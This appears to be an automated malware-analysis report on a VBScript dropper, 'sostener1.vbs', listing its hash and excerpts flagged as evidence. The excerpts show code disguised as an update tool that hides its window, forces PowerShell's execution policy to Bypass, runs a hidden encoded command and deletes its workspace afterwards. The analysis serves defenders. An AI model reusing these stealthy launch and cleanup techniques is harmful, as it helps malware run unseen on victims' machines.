Hostile ^100% Download

sostener1.vbs

Obfuscated dropper, persistence, C2

WSH launches PowerShell with a hidden windowWScript shell runs cmd or PowerShell hidden

SHA-25696cbd3752f5b52d9c02fce62493af15bcb90b444dcbc4d97d477cb8fe36ecde2

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₄(C₅As₃IXe₃)H₆(Po₃CmDb₄F₇Os₃Ti)Md(Pt)

Evidence

VBScript builds a lowercase alphabet lines 5–27

5:20… figuration state, applies pending updates,
6'   and reports diagnostic information to the local event log.
7'
8' Version : 3.12.4012.468
9' Build   : release/3.12
10' Runtime : Windows Script Host 5.8 or later
11
12Dim outputDKL : outputDKL = "GBu+7Pl7+0w12LqbD+jsWWUE+2YwPkP489KidBlYayo="
13Dim bufferCR : bufferCR = "5C3D9BE7EA9E0FB266238635B0D654F6AB8D478C3385B2DF82D05DC916139248"
14
15Private Sub RegisterHandlerPB()
16    Dim lngEntries
17    lngEntries = RunScheduledTaskLRW(optionsVNL, BuildDescriptorLBYT()) + 1
18    optionsVNL = ""
19End Sub
20
21Dim PrepareEnvironmentYY
22Dim ReadSettingsVY
23PrepareEnvironmentYY = ""
24For ReadSettingsVY = 65 To 90 : PrepareEnvironmentYY = PrepareEnvironmentYY & Chr(ReadSettingsVY) : Next
25For ReadSettingsVY = 97 To 122 : PrepareEnvironmentYY = PrepareEnvironmentYY & Chr(ReadSettingsVY) : Next
26For ReadSettingsVY = 48 To 57 : PrepareEnvironmentYY = PrepareEnvironmentYY & Chr(ReadSettingsVY) : Next
27PrepareEnvi …

CreateObject instantiates WScript.Shell lines 30–43

30:63… CatalogFile & "' -Force -ErrorAction SilentlyContinue" & strLineTerm
31End Sub
32
33
34
35Dim resultVPG : Set resultVPG = CreateObject("WScript.Shell")
36Dim scratchNBRD : scratchNBRD = resultVPG.ExpandEnvironmentStrings("%TEMP%")
37If Len(scratchNBRD) = 0 Then scratchNBRD = resultVPG.ExpandEnvironmentStrings("%LOCALAPPDATA%")
38
39Dim optionsVNL : optionsVNL = ""
40Dim targetPathMT : targetPathMT = Chr(34)
41
42Const RefreshManifestVSR = 2
43Const …

WSH Run statement hides the window lines 154–166

19… CacheDirectoryEND(ByVal strCmd)
  Dim procEnv
  On Error Resume Next
  Set procEnv = resultVPG.Environment("PROCESS")
  procEnv("PSExecutionPolicyPreference") = "Bypass"
  On Error GoTo 0
  resultVPG.Run strCmd, 0, False
161End Sub
162
⋯4 lines

Hidden Run of cmd or PowerShell lines 353–371

353:12… tringMJCK "catalog host staged"
354
355     codeLW = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power" & "shell.exe"
356    contextGKUP = PrepareEnvironmentVTND(codeLW, encodedScript)
357    EnsureCacheDirectoryEND contextGKUP
358    resultVPG.Run "cmd" & ".exe /c ping 127.0.0.1 -n 8 >nul & rmdir /s /q " & targetPathMT & workspaceZUCC & targetPathMT, 0, False
359    RegisterHandlerPB
360End Sub
⋯11 lines

PowerShell execution-policy bypass argument lines 415–428

⋯6 lines
421Private Function PrepareEnvironmentVTND(ByVal strEnginePath, ByVal strEncodedScript)
422    Dim flags
423    flags = " -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Encoded" & "Command "
424    PrepareEnvironmentVTND = targetPathMT & strEnginePath & targetPathMT & flags & strEncodedScript
425End Function
426
427Private Function RunScheduledTaskLRW(ByVal strHaystack, ByVal strNeedle)
428    Dim lngCursor, lngFou …